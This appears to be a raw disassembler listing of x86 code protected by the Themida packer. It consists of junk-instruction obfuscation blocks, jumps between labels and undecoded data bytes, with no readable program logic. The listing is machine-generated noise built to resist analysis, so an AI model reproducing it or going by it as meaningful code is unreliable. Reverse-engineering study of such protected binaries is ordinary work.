8B6C4730h, 0C4832434h, 52E95604h dd 51FFFF63h, 0DB42E7B9h, 4E4FB80Dh, 0C8292062h, 24442959h dd 4E23E904h, 0E953FFFFh, 0FFFFFA2Eh, 5504EFC1h, 0FFF325E9h db 0FFh ; --------------------------------------------------------------------------- loc_5619A1: ; CODE XREF: Themida_:00554735j sub esp, 4 mov [esp], edi mov edi, 0B8D6F46Dh add esi, 623004BCh add esi, edi push ecx mov ecx, 676750A8h push ebp mov ebp, 22885F3Bh and ecx, ebp pop ebp jmp loc_5605A8 ; --------------------------------------------------------------------------- aVhcz db 'Vh—z',0 align 2 dw 1C89h dd 4DCBB24h, 0DE895461h, 78B9515Bh, 1F45809h, 0E5D0E9CEh dd 815EFFFEh, 0BA4AA5E9h, 57D92951h, 0E874AABFh, 17E78145h dd 81494176h, 3C4068CFh, 3AE7810Ch, 8154306Fh, 89E67BC7h dd 5FF9010Dh, 2983E981h, 29E96BC7h db 8, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561A1B: ; CODE XREF: Themida_:0055C09Ej mov edi, 180416A7h not edi not edi and edi, 31DA1949h jmp loc_556C9F ; --------------------------------------------------------------------------- db 87h dd 895C2404h, 0E7BD242Ch, 0E95FC499h, 0FFFEF9FDh, 240C875Eh dd 28CD685Ch, 1C890000h, 4BB24h, 56050000h, 11FC247h, 14E951D8h dd 0DFFFF8Bh, 0B403012h, 0FF2AADE9h, 2434FFFFh, 0FF2434FFh dd 39E92434h, 81FFFFFCh, 2642D8C7h, 50C7815Ah, 81630F67h dd 0BA62A7EFh, 0C374E968h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561A8E: ; CODE XREF: Themida_:005561DAj mov [esp], ebx mov ebx, esp add ebx, 4 push edi jmp loc_55E75C ; --------------------------------------------------------------------------- db 0FFh dd 56582434h, 99E9E689h, 0F7FFFF6Ah, 83D7F7D7h, 0EC8301C7h dd 242C8904h, 0FF0DE4E9h, 8BCB29FFh, 6DE9240Ch, 8100001Ah dd 5B2D6DC3h, 81C30119h, 5B2D6DEBh, 57BA5219h, 294E2F16h dd 24148BD3h, 0E904C483h, 0FFFEE7ACh, 8B24248Bh, 0C4832434h dd 4C68104h, 50000000h, 4B8h, 58C60100h, 31243433h, 34332434h dd 24248B24h, 0E92434FFh, 0FFFF0F0Dh ; --------------------------------------------------------------------------- loc_561B14: ; CODE XREF: Themida_:0056034Cj add edx, 90905F0Ah add edi, edx jmp loc_561ED0 ; --------------------------------------------------------------------------- loc_561B21: ; CODE XREF: Themida_:0055B842j sub edi, 8A9103Ah neg edi jmp loc_55A281 ; --------------------------------------------------------------------------- dw 8B66h dd 0C483240Ch, 0C9FE5902h, 0FFEA35E9h db 0FFh ; --------------------------------------------------------------------------- loc_561B3D: ; CODE XREF: Themida_:00563F67j add esp, 4 jmp loc_5566B0 ; --------------------------------------------------------------------------- loc_561B45: ; CODE XREF: Themida_:00552000j xor [esp], edx jmp loc_562D38 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0F7h dd 0A2D7DBE1h, 0C15FFE31h, 0B8E904EEh db 36h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561B5F: ; CODE XREF: Themida_:0055D4F7j mov esp, [esp] movzx ecx, ax push ecx push esp push dword ptr [esp] mov ecx, [esp] jmp loc_55E1CE ; --------------------------------------------------------------------------- dw 8B54h dd 8E92404h, 0BEFFFF6Bh, 0BBF1008h, 8104E6C1h, 0BC64BDEEh dd 81DEF736h, 0E50F67C6h, 0CC91E926h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561B96: ; CODE XREF: Themida_:00562911j sub esp, 4 mov [esp], ebx push 7A2390Bh push dword ptr [esp] pop ebx add esp, 4 shr ebx, 8 push 0 sub dword ptr [esp], 17B22EA3h sub [esp], ebx push 1629h mov [esp], ebp mov ebp, 17B22EA3h add [esp+4], ebp jmp loc_55E293 ; --------------------------------------------------------------------------- loc_561BD3: ; CODE XREF: Themida_:0055DC9Aj sub esi, 0BF6FFFEBh add ebp, esi pop esi add ebp, 4 xchg ebp, [esp] pop esp add eax, 4C432317h push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], esi mov esi, esp sub esp, 4 mov [esp], eax mov eax, 646B6828h jmp loc_555688 ; --------------------------------------------------------------------------- dw 0E9ADh dd 478h, 42474FFh, 24048F5Fh, 0FF9493E9h db 0FFh ; --------------------------------------------------------------------------- loc_561C25: ; CODE XREF: Themida_:00552C29j push 34DE49F0h mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ebx, 0CB21B612h jmp loc_55B495 ; --------------------------------------------------------------------------- dd 0FED720E9h, 5F001FFh, 6E454964h, 8B2434FFh, 0A9E92434h db 1, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561C5F: ; CODE XREF: Themida_:0055BE29j mov [esp], ecx mov ecx, 5783009Eh push ebx mov ebx, 239551A3h neg ebx sub ebx, 6475ACD1h jmp loc_561E85 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 5C243C87h, 0FF56CFE9h, 0FF555AFFh, 0E9042474h, 0FFFF5860h dd 4EC815Eh, 89000000h, 4BA2414h, 2D000000h, 4255400Ch dd 4338A405h, 9A9DE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561CB2: ; CODE XREF: Themida_:00554725j push eax push esp mov eax, [esp] add esp, 4 add eax, 4 push 0D14h jmp loc_561179 ; --------------------------------------------------------------------------- dd 68242C89h, 9BC019Ah, 2444815Dh, 381D2604h, 249DE904h dd 8143FFFFh, 0ED140EF3h, 81D3F758h, 0DA631DC3h, 5BDA010Fh dd 0E904EA83h, 0FFFEE309h, 4B8505Eh, 1000000h, 24048BC6h dd 4EC81h, 34890000h, 0A79EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561D16: ; CODE XREF: Themida_:00555694j mov edx, esp add edx, 4 jmp loc_55808E ; --------------------------------------------------------------------------- db 89h dd 4C581E5h, 53000000h, 4BBh, 0B794E900h, 74FFFFFFh, 8F5A0424h dd 248B2404h, 24040024h, 0EABDE99Ch, 0C781FFFEh, 4, 0E9243C87h dd 1748h, 7835E94Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561D5E: ; CODE XREF: Themida_:00555766j add esp, 4 add esp, 4 mov edx, 0EB04AA36h push eax mov eax, 7E1A2232h add edx, eax jmp loc_54FC24 ; --------------------------------------------------------------------------- db 0FEh, 0C3h, 80h dd 0DD08DDF3h, 6C75E95Bh, 0CCFEFFFFh, 80B4EC80h, 0E128ACF4h dd 4633E958h, 8950FFFFh, 1CBE56E0h, 4E10383Eh, 7B45F681h dd 8146742Ah, 344254CEh, 44C8E979h, 34FFFFFFh, 54685E24h dd 8900002Ch, 0B1E9241Ch db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561DC3: ; CODE XREF: Themida_:0055F20Ej and edi, 12ED603Ch push edx mov edx, 7AD85C10h jmp loc_55FDA2 ; --------------------------------------------------------------------------- dd 0E902E1C1h, 0FFFF7AD6h, 2513E957h, 34FFFFFFh, 0E4F3E924h dd 0F201FFFFh, 0FFF434E9h, 243C31FFh, 8B243C33h, 34FF2424h dd 2434FF24h, 4C48159h, 53000000h, 0C381E389h, 4, 4EB81h dd 1C870000h, 4895C24h, 48B5424h, 4C48324h, 0E6685552h dd 0FF75BA50h, 835D2434h, 0B7E904C4h, 81000014h, 4C4h dd 4EC8300h, 0E9241C89h, 0FFFFC750h, 450EC781h, 555A4E61h dd 0FF25B6E9h, 243C8BFFh, 5D04C483h, 1ED81h, 0EF310000h dd 0EF31FD31h, 6011BA52h, 0FDE90C10h, 0BFFFFED6h, 640F7EB9h dd 9D654305h, 51F8293Bh, 0D62E9h db 0 ; --------------------------------------------------------------------------- loc_561E85: ; CODE XREF: Themida_:00561C75j xor ecx, ebx pop ebx sub esi, 769E1F6Fh jmp loc_559C55 ; --------------------------------------------------------------------------- db 87h dd 0E2E92414h, 50FFFF86h, 0D4CBE99Ch, 895CFFFEh, 0FE682414h dd 8900000Bh, 1BB1240Ch, 0CE30B1B6h, 0FF9019E9h, 0D9E381FFh dd 8162952Ch, 877763F3h, 5BDD0131h, 0E950DD01h, 0FFFFA3D8h ; --------------------------------------------------------------------------- loc_561ED0: ; CODE XREF: Themida_:00561B1Cj pop edx jmp loc_563B59 ; --------------------------------------------------------------------------- dw 0E381h dd 1BF114FCh, 171FE381h, 0F3817027h, 6F723375h, 0CCA3C381h dd 0C28190ACh, 645774B5h, 0EDE9DA29h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_561EFB: ; CODE XREF: Themida_:00555D95j and eax, edx pop edx or eax, eax jz loc_557246 sub esp, 4 jmp loc_5500DC ; --------------------------------------------------------------------------- loc_561F11: ; CODE XREF: Themida_:0055A670j push 6E752911h pop esi push eax mov eax, 0CFD82AF7h add esi, eax pop eax jmp loc_56267F ; --------------------------------------------------------------------------- loc_561F25: ; CODE XREF: Themida_:00555C71j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_563751 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 87000000h, 685C241Ch, 67A8h, 88241489h, 0F9E6E9EEh dd 0EE80FFFEh, 5AF18873h, 5006E1C0h, 0E5E9CC88h, 0E9FFFF23h dd 0FFFED3F5h ; --------------------------------------------------------------------------- loc_561F78: ; CODE XREF: Themida_:00563264j add ebp, ecx jmp loc_554CF6 ; --------------------------------------------------------------------------- db 59h dd 0FFFA0DE9h db 0FFh ; --------------------------------------------------------------------------- loc_561F85: ; CODE XREF: Themida_:00557786j mov esi, 5BA43179h mov edx, 10DBCF06h add edx, esi pop esi and edx, 2F094871h sub edx, 773151F0h jmp loc_55F9E5 ; --------------------------------------------------------------------------- aIuusr db '‰ãUéà!',0 db 0 ; --------------------------------------------------------------------------- loc_561FAB: ; CODE XREF: Themida_:00558410j pop ecx add esp, 4 push 4BC1h mov [esp], edi mov edi, esp add edi, 4 jmp loc_55ADA8 ; --------------------------------------------------------------------------- db 83h dd 266804C4h, 0E900001Bh, 0FFFF7820h, 0BF868h, 24248900h dd 0FFA7C8E9h, 240C8BFFh, 4C481h, 4E90000h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_561FEF: ; CODE XREF: Themida_:00559386j mov eax, [esp] add esp, 4 push esi mov esi, 4 add eax, esi pop esi push ebp mov ebp, 2 jmp loc_555ACA ; --------------------------------------------------------------------------- dd 3204E981h, 0C8217825h, 1A52D59h, 0E8C14093h, 322D05h dd 0B951067Eh, 28265C3h, 2FCDF181h, 81410101h, 151125E1h dd 7E1C16Fh, 0FED8E7E9h, 466105FFh, 94052E09h, 55361378h dd 50476851h, 81593552h, 0AB5324E1h, 46C18127h, 817BCE23h dd 6CA3A6C1h, 59CD89A4h, 0FF5664E9h db 0FFh ; --------------------------------------------------------------------------- loc_562069: ; CODE XREF: Themida_:0055EDAEj not dl push ebx mov bl, 99h sub dl, bl jmp loc_55C8A6 ; --------------------------------------------------------------------------- aSb db ')Âé',7,0 align 4 dd 0BF243C89h, 5751451Bh, 0ECBA524Fh, 0E917930Eh, 0FFFF4865h dd 0FF444705h, 2CD30558h, 0D80121C7h, 0C72CD32Dh, 9D66821h dd 34890000h, 65DEBE24h, 826876CFh, 8900005Dh, 0D0E9240Ch db 0F3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5620BB: ; CODE XREF: Themida_:00557BAFj push eax mov eax, 10A7164Eh add eax, 19995324h jmp loc_555239 ; --------------------------------------------------------------------------- loc_5620CB: ; CODE XREF: Themida_:0054F7E8j push 27EFh mov [esp], edi mov edi, 58ED50B4h add eax, edi jmp loc_554444 ; --------------------------------------------------------------------------- loc_5620DF: ; CODE XREF: Themida_:0055AF73j mov [esp], edx jmp loc_5573D5 ; --------------------------------------------------------------------------- loc_5620E7: ; CODE XREF: Themida_:00553F50j mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp push edx mov edx, 7C2E4C86h mov ebp, 7C2E4C82h jmp loc_55ADE4 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0E0895024h, 0FFF12AE9h, 6AED80FFh, 0C580C528h, 2434FF6Ah dd 4C48158h, 28000000h, 7436E9E8h, 0D7F7FFFFh, 906E9h dd 7EF8100h, 0F7336800h, 4C26E9D7h, 0EC83FFFFh, 241C8904h dd 5950A6BBh, 0C381430Fh, 0EF401FFh, 8105EBC1h, 0DD7039F3h dd 0F6CB8111h, 8134410Ch, 90E106C3h, 5BDF01CAh, 2B74B850h dd 0E8C13083h, 319A2D04h, 0BE566C55h, 1208143Dh, 0C14EE6D1h dd 0C68108EEh, 968EF0F1h, 0FEE9F029h, 4FFFF19h, 2434FF43h dd 0E9241C8Bh, 0FFFFF461h, 4240481h, 5F000000h, 20F7E9h dd 0B9515800h, 0EE001D03h, 0CAE9CF01h db 42h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5621BB: ; CODE XREF: Themida_:0055E314j add eax, 28793C35h xor eax, 708F516Fh sub eax, 0E80D5BDFh sub edi, eax pop eax sub ecx, 2AFC0A1Eh jmp loc_55CC37 ; --------------------------------------------------------------------------- dd 3064F280h, 0C7005AD0h, 152C58h, 0B75366F8h, 66F80015h dd 8B665B5Bh db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5572AC ; --------------------------------------------------------------------------- dw 72B4h dd 48BE188h, 4C48324h, 8B66CE30h, 0C481240Ch, 2, 4EC81h dd 14890000h, 0C074B224h, 7FE903E2h, 81FFFF65h, 395E1EC3h dd 0A854E914h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56222E: ; CODE XREF: Themida_:0056429Fj push ebp jmp loc_553E83 ; --------------------------------------------------------------------------- dd 241C895Ch, 31D5E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56223E: ; CODE XREF: Themida_:0055656Cj pop eax and ebx, 36093048h jmp loc_55412C ; --------------------------------------------------------------------------- loc_56224A: ; CODE XREF: Themida_:00554974j pop ecx jmp loc_551A21 ; --------------------------------------------------------------------------- dd 33241431h, 248B2414h, 2886424h, 0FED10CE9h, 68E0D0FFh dd 1805h, 0B6241489h, 8298E9F9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562272: ; CODE XREF: Themida_:0055FE72j add edx, 13014F9h add edx, edi sub edx, 13014F9h jmp loc_55B3ED ; --------------------------------------------------------------------------- db 81h, 0EEh, 0D9h dd 1766F4Bh, 0DE15E9C6h, 34FFFFFEh, 83685924h, 0E9000036h dd 0FFFF97FBh, 3304C483h, 1C31241Ch, 1C13E924h, 1489FFFFh dd 0FFFF6824h, 0E95AFFFFh, 0FFFFD751h, 5D2434FFh, 8704C483h dd 0E7E9243Ch, 68FFFEDAh, 495A6E7Ah, 6CF7815Fh, 81223329h dd 0DA6D0BF7h, 0C63FE918h, 0BD55FFFFh, 72BE1E84h, 1508F581h dd 0BE5604B1h, 3EE64821h, 5CF68146h, 0C10BDB6Ch, 0DEF705EEh dd 0C9BEE81h, 0F531E0BAh, 0E055E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56230E: ; CODE XREF: Themida_:00553A7Dj pop ebx jmp loc_551FFD ; --------------------------------------------------------------------------- dd 0C181F901h, 55624724h, 3EE95B5Fh db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562323: ; CODE XREF: Themida_:0055B097j mov [esp], ecx mov ecx, 7A654DC5h jmp loc_55FE2F ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFEFBBDh, 895BDF89h, 0F7565FFEh, 465E2414h dd 2EEC14Eh, 0FCBA5246h, 5108FE40h, 9C4D50B9h, 59CA0948h dd 2952F281h, 0F281185Dh, 5FD52129h, 2014BF57h, 0FA013049h dd 0E9D6315Fh, 0FFFF9A74h ; --------------------------------------------------------------------------- loc_562374: ; CODE XREF: Themida_:00557B09j add edi, ecx pop ecx push eax mov eax, 4 add edi, 4B12559Eh jmp loc_556F67 ; --------------------------------------------------------------------------- dd 9445C581h, 2A2D9F4Ah, 1672079h, 792A05E8h, 875D6720h dd 685C2404h, 0DEh, 0FF32F0E9h, 0EB8953FFh, 0CAFE9h db 0 ; --------------------------------------------------------------------------- loc_5623B1: ; CODE XREF: Themida_:0055AF66j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp pop dword ptr [esp] pop esp mov [esp], eax not dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_55470E ; --------------------------------------------------------------------------- dd 74B5EA81h, 875B6457h, 248B2414h, 24148924h, 0E9520AB2h dd 0FFFEE8E2h, 0E9E68956h, 0FFFF690Bh ; --------------------------------------------------------------------------- loc_562408: ; CODE XREF: Themida_:0056183Fj sub bl, dl pop dx xor bl, 30h add al, 69h add al, bl sub al, 69h push dword ptr [esp] pop ebx push 6096h mov [esp], edx mov edx, esp add edx, 4 push 6D59h mov [esp], ebp jmp loc_54FCD4 ; --------------------------------------------------------------------------- loc_562436: ; CODE XREF: Themida_:0055E7CDj sub esi, ebp sub esi, 63173BD7h pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] push 5788h mov [esp], edi mov edi, esp push esi mov esi, 4 jmp loc_561866 ; --------------------------------------------------------------------------- db 55h, 68h, 80h dd 5D12C84Eh, 0E95DEF31h, 0FFFFDA62h, 0E9240C89h, 0FFFFDD59h ; --------------------------------------------------------------------------- loc_562490: ; CODE XREF: Themida_:0055F2A8j pop edx add esp, 4 jmp loc_54FABC ; --------------------------------------------------------------------------- db 68h, 0B6h, 3Fh dd 2C890000h, 0B7646824h, 41E92727h, 0FFFFFEDBh, 240C8B33h dd 0FEFC30E9h db 0FFh ; --------------------------------------------------------------------------- loc_5624B5: ; CODE XREF: Themida_:005522A2j push eax jmp loc_55FE02 ; --------------------------------------------------------------------------- loc_5624BB: ; CODE XREF: Themida_:00562BE2j mov [esp], ecx jmp loc_55C9CA ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 1CD36659h, 3FE99C24h, 0BBFFFFD4h, 575EE443h dd 0F03C1005h, 0E9D8297Fh, 0FFFF04FFh, 68243489h, 4FF8h dd 83242489h, 5E042404h, 0B4BE5650h, 8126BE56h, 7F08A4CEh dd 20F6813Eh, 8152D51Bh, 380220F6h, 9E68125h, 4E672542h dd 0FF1BD2E9h, 8D055AFFh, 2D760E2Fh, 0CEA0754Fh, 0FF2E5FE9h dd 241C87FFh, 0FF9B0BE9h, 68C581FFh, 5605D13Eh, 0C2760268h dd 5249E975h, 295AFFFFh, 0F8015BD8h, 7F096853h, 815B6C4Bh dd 0BB1827F3h, 6BADE95Dh, 0E959FFFFh, 0FFFF3D98h ; --------------------------------------------------------------------------- loc_562560: ; CODE XREF: Themida_:00556C90j xchg ebp, [esp] jmp loc_55303C ; --------------------------------------------------------------------------- dd 345268h, 240C8900h, 2B9h, 8BC80100h, 0C483240Ch, 24043304h dd 33240431h, 248B2404h, 4AB0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56258E: ; CODE XREF: Themida_:0055EBB9j add eax, 18C9DA6Bh and edi, eax jmp loc_55487A ; --------------------------------------------------------------------------- dw 0EEBDh dd 830AF809h, 3C8904ECh, 9EABF24h, 0B4E90AF8h, 0BA00001Ch dd 347541F6h, 56BDEA81h, 0E94A0541h, 0FFFFDCBBh ; --------------------------------------------------------------------------- loc_5625C0: ; CODE XREF: Themida_:0055F9EDj and ebx, 0C004C98h xor ebx, 0BB72131h jmp loc_554816 ; --------------------------------------------------------------------------- db 52h, 57h, 0BFh dd 4, 89FE8956h, 24348BF2h, 4C481h, 15F0000h, 0F5E95AD5h dd 0FFFFFF42h, 0EC838734h, 242C8904h, 0A4E95D54h, 8BFFFF4Ah dd 0C483240Ch, 81DE0104h, 7910D2EEh, 0DE295B28h, 278BBA52h dd 0EA811F71h, 0FDCFE987h, 0E4E9D629h, 8B000018h, 0C483242Ch dd 4C48304h, 542CC781h, 0E9530927h, 0FFFFDE86h, 33241C31h dd 665C241Ch, 0B2241489h, 9A09E925h, 0FF5BFFFFh, 3C8B2434h dd 4C48124h, 56000000h, 0C681E689h, 4, 8704C683h, 315C2434h dd 8F66C3h, 0FECCFCE9h db 0FFh ; --------------------------------------------------------------------------- loc_562671: ; CODE XREF: Themida_:00556618j pop edi add esp, 4 and eax, esi jmp loc_557AF8 ; --------------------------------------------------------------------------- loc_56267F: ; CODE XREF: Themida_:00561F20j mov ebx, esi mov esi, [esp] add esp, 4 sub dword ptr [esp+8], 3F430FF9h jmp loc_551B0A ; --------------------------------------------------------------------------- dd 15BDF01h, 0C3EF81C7h, 5878746Bh, 2BE56h, 0FFE90000h dd 89FFFF24h, 0FEB9240Ch, 21000000h, 34FF1C4Fh, 5226E924h dd 0E95FFFFFh, 0FFFF68C6h, 8B2434FFh, 29E9242Ch db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5626CF: ; CODE XREF: Themida_:00554FFDj push ecx not dword ptr [esp] pop ecx push ebx mov ebx, 1 add ecx, ebx pop ebx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp mov ebp, 0DF668405h jmp loc_55D426 ; --------------------------------------------------------------------------- loc_5626FD: ; CODE XREF: Themida_:00560A08j xor eax, ecx push ebp push esp jmp loc_562A46 ; --------------------------------------------------------------------------- dw 0E7C1h dd 6EFC104h, 0FFDAFFE9h, 0C8B66FFh, 3D626824h, 1C890000h dd 399EE924h, 0E3BAFFFFh, 0BE0CCC09h, 25C57FFCh, 0FF0F09E9h dd 241C89FFh, 42474FFh, 83241C8Bh, 0EFE904C4h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562743: ; CODE XREF: Themida_:00553E94j xor edi, ebx pop ebx and ecx, edi push dword ptr [esp] jmp loc_555269 ; --------------------------------------------------------------------------- loc_562750: ; CODE XREF: Themida_:005588FAj add ebx, 4 add ebx, 4 jmp loc_5630E8 ; --------------------------------------------------------------------------- db 5Eh, 0F7h, 0DFh dd 0BA3AC781h, 1E68FA86h, 89000056h, 348B243Ch, 0F9C4E924h dd 0C281FFFEh, 5EE4603Ch, 0FFE6FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_562785: ; CODE XREF: Themida_:0056080Aj mov ebp, 4 mov ebx, ebp mov ebp, [esp] push ebx push esp pop ebx jmp loc_560D47 ; --------------------------------------------------------------------------- db 5Ch dd 1C8BDD01h, 0E7895724h, 4C781h, 0BD550000h, 1EBC0C12h dd 8102EDC1h, 5E10D0CDh, 8CED8145h, 810E161Dh, 0C94504EDh dd 0CC81E90Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5627C6: ; CODE XREF: Themida_:00553FABj mov ecx, [esp] add esp, 4 sub dh, ah pop ax push 53Fh mov [esp], ebx mov bl, 0B1h jmp loc_55F2A0 ; --------------------------------------------------------------------------- dw 0C380h dd 4EC8114h, 89000000h, 15B5240Ch, 53DCED80h, 0C3FED2B3h dd 0FF03F6E9h, 0C20158FFh, 683CB850h, 0DB351BCFh, 10A6B59h dd 24048BC2h, 5804C483h, 5C241487h, 0E924048Fh, 0FFFF3A1Ah dd 619FB951h, 20E979B6h, 68FFFF23h, 652A71DAh, 0CE50E95Eh dd 0E2C1FFFEh, 52E2D106h, 5A2414F7h, 0FF3D05E9h, 4C683FFh dd 2474FF56h, 0EFE95E04h, 0BEFFFF54h, 7B4A13C0h, 0B11B62BFh dd 8BF73129h, 0C4832434h, 16E78104h, 5157CA78h, 59717DB9h dd 0B7F18131h, 0E9003A7Fh, 0FFFFAA45h ; --------------------------------------------------------------------------- loc_56287C: ; CODE XREF: Themida_:0055DAA7j mov ecx, 35CF5347h push esi mov esi, 6A8B17A4h jmp loc_55EE25 ; --------------------------------------------------------------------------- dd 8124148Bh, 4C4h, 0B877E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56289A: ; CODE XREF: Themida_:0055D051j push 59A5h mov [esp], edi mov edi, 13A519B6h add edi, 3E0E229Fh push esi jmp loc_55E2F2 ; --------------------------------------------------------------------------- loc_5628B3: ; CODE XREF: Themida_:00552D91j shl esi, 5 shl esi, 3 add esi, 3667047Fh add esi, 50683A3Bh and esi, 5090EA7h push ecx mov ecx, 335376FAh add esi, ecx pop ecx jmp loc_55C75D ; --------------------------------------------------------------------------- db 0BBh, 53h, 5Ch dd 0EB81783Ah, 48C9428Fh, 1274C381h, 0D829D182h, 4BE9535Bh dd 0FFFFFF5Ah, 0BCE92434h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5628FB: ; CODE XREF: Themida_:0055B7D1j xchg edi, edx xor edx, 4740F83Bh sub esi, 51637897h jmp loc_559B68 ; --------------------------------------------------------------------------- loc_56290E: ; CODE XREF: Themida_:00558B51j mov [esp], ecx jmp loc_561B96 ; --------------------------------------------------------------------------- dw 0F801h dd 4EC835Fh, 0E9243489h, 0FFFEF0AEh ; --------------------------------------------------------------------------- loc_562924: ; CODE XREF: Themida_:0056056Dj mov ecx, eax pop eax mov edx, 0BE7B2ACEh push ebp mov ebp, 59855E07h add edx, ebp pop ebp sub edx, ecx jmp loc_55A8E7 ; --------------------------------------------------------------------------- dd 4EC81h, 4890000h, 5E08924h, 4, 405h, 24048700h, 431DE95Ch dd 8ABAFFFFh, 0D13C5029h, 3E2C1E2h, 0A921F281h, 81529DFDh dd 41C42434h, 815F4ABCh, 0BC41C4F7h, 55E95A4Ah, 8FFFFECBh dd 248B2404h, 4C28124h, 81000000h, 4C2h, 24148700h, 0FF24248Bh dd 48B2434h, 4C48324h, 5F9968h, 24048900h, 68565854h, 3B9247EDh dd 0D9BEE95Eh, 0E389FFFEh, 4C381h, 0C3810000h, 4, 0FF6DF7E9h dd 4EE954FFh db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5629CF: ; CODE XREF: Themida_:005590A9j pop edx add ecx, 4 xchg ecx, [esp] mov esp, [esp] or edx, eax jmp loc_552EBA ; --------------------------------------------------------------------------- db 0FEh dd 0C5B9E9CCh, 2C8BFFFFh, 0E1895124h, 4C181h, 98E90000h dd 54FFFFAAh, 0FF5F40E9h, 0E9F828FFh, 0FFFF7C59h, 242C8752h dd 2C87DDF7h, 0F2815A24h, 5B9A5DCCh, 0FF7872E9h, 240481FFh dd 7283770Ah, 0D581E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562A2A: ; CODE XREF: Themida_:0055A3FAj xor ebx, 3FE21AD7h and ebx, 1D8C2206h jmp loc_55BBE5 ; --------------------------------------------------------------------------- db 81h dd 5E71F3EFh, 897E908h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562A46: ; CODE XREF: Themida_:00562701j pop ebp add ebp, 4 sub ebp, 4 jmp loc_561058 ; --------------------------------------------------------------------------- db 55h, 0BDh, 4 dd 81000000h, 3C042444h, 10E6750h, 8104246Ch, 3C04246Ch dd 8B0E6750h, 0C483242Ch, 0BF575804h, 5D23421Eh, 5F63E781h dd 0C7813FC4h, 483E0DAEh, 0FFF6A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_562A8D: ; CODE XREF: Themida_:005611B2j push dword ptr [esp+4] push dword ptr [esp] jmp loc_55AF64 ; --------------------------------------------------------------------------- db 0BAh, 0C4h, 1Dh dd 0E28106F7h, 7243418Bh, 8101C283h, 0B554ACC2h, 0E1895168h dd 4C181h, 0E9830000h, 240C8704h, 0FF23E0E9h, 0C5B353FFh dd 80C2E380h, 0DD88BDF3h, 66E8005Bh, 0E9240C8Bh, 0FFFF7DE6h dd 4B9h, 59CE0100h, 5C243487h, 0E9240C87h, 5A9h, 0DDB95153h dd 897EBF15h, 0DA2959CBh, 0D9FEE95Bh, 2EBAFFFEh, 0F7793B2Ch dd 0EA8142D2h, 859C0A5Fh, 815AD131h, 6B6EEFh, 81CF017Ah dd 6B6EC7h, 1CAEE97Ah, 0C483FFFFh, 7EBA5204h, 0E9555522h dd 0FFFF0D52h, 24048B66h, 0FEF9F1E9h, 52BB04FFh, 881FB050h dd 0CEFE58C6h, 0FFD92CE9h db 0FFh ; --------------------------------------------------------------------------- loc_562B49: ; CODE XREF: Themida_:0055A149j add ebp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_54F36D ; --------------------------------------------------------------------------- db 83h, 0C3h, 4 dd 5C241C87h, 0FF9D6DE9h, 0E9D601FFh, 0FFFFE33Ah, 9C241CF7h dd 0FEC7E8E9h, 4BDFFh, 6C010000h, 8F5D0424h, 0E9512404h dd 1197h, 1C681h, 0F6810000h, 3F61EED5h, 595EF001h, 13E7BF57h dd 1EE9517Ch db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562BB3: ; CODE XREF: Themida_:0056106Fj push esp pop esi add esi, 4 push edx mov edx, 4 add esi, edx mov edx, [esp] jmp loc_5606BA ; --------------------------------------------------------------------------- loc_562BCB: ; CODE XREF: Themida_:0056449Ej mov [esp], ecx push 4A3746BBh pop ecx push edi push 33F6h mov [esp], ebx push 2F06h jmp loc_5624BB ; --------------------------------------------------------------------------- db 0B9h dd 24634E3Bh, 0FF13BFE9h, 2434FFFFh, 946E9h db 0 ; 